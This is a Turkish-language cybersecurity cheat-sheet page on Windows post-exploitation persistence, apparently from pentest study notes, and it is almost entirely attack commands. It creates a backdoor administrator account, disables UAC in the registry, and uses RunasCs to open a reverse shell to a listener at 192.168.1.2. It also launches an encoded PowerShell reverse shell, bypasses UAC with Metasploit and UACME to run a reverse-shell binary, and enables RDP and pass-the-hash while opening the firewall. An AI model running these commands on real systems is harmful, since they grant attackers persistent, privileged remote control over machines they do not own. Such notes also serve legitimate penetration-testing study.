> For the complete documentation index, see [llms.txt](https://yigitsengezer.gitbook.io/siber-guvenlik-notlari/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yigitsengezer.gitbook.io/siber-guvenlik-notlari/windows-pentesting/windows-post-exploitation.md).

# Windows Persistence

### SMB Persistence

```bash
net user hacker password123! /add
net localgroup administrators hacker /add

reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f

shutdown /r /t 0
```

### Kullanıcı Değiştirme

```powershell
# Sadece GUI varsa olur o yüzden Remote Desktop Users grubunda birini bul
runas /user:backupadmin cmd

# Gui Yoksa
.\RunasCs.exe administrator password123 powershell.exe -r 192.168.1.2:1234
```

### Process Reverse Shell

```powershell
Start-Process powershell -ArgumentList "-NoProfile -EncodedCommand BASE64_REV"
```

### UAC Bypass

UAC (User Account Control), Windows işletim sistemlerinde kullanıcı hesaplarının yetkilerini denetlemeye yarayan bir güvenlik özelliğidir.&#x20;

UAC etkinleştirildiğinde, kullanıcılar yönetici yetkisi gerektiren bir işlem gerçekleştirmek istediklerinde, öncelikle bir onay penceresiyle karşılaşırlar.

<figure><img src="/files/0NTshFQsYiEt5SOFbLZJ" alt=""><figcaption></figcaption></figure>

```powershell
# Aşağıdaki komutlar ile kullanıcımızın administrator yetkisine sahip olduğunu doğruluyoruz.
whoami
net localgroup administrators

# Sonrasında yetkimizi yükseltmek için getsystem yapıyoruz
migrate -N explorer.exe
getsystem
# Eğer bu komutlar çalışmadıysa sistemde UAC açıktır
```

Aşağıdaki msf modülü ile bypass denenebilir.

```bash
use exploit/windows/local/bypassuac_injection
```

Aynı işlem UACME aracı ile de yapılabilir. Reverse shell ve aracı temp klasörüne yüklüyoruz ve aşağıdaki komutu çalıştırıyoruz.

UACME: <https://github.com/hfiref0x/UACME/releases>&#x20;

```
cd %TEMP%
Akagi64.exe 23 %TEMP%\reverse.exe
```

### RDP Persistence

```powershell
net user hacker password123! /add
net localgroup administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add

# CMD (Enable RDP ve Passthehash)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD  /d 0x0 /f
netsh advfirewall firewall set rule group="Remote Desktop" new enable=Yes
sc config TermService start=auto
sc start TermService



# Powershell (Enable RDP ve Passthehash)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" -Name fDenyTSConnections -Value 0
Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
Set-Service -Name TermService -StartupType Automatic
Start-Service -Name TermService
```
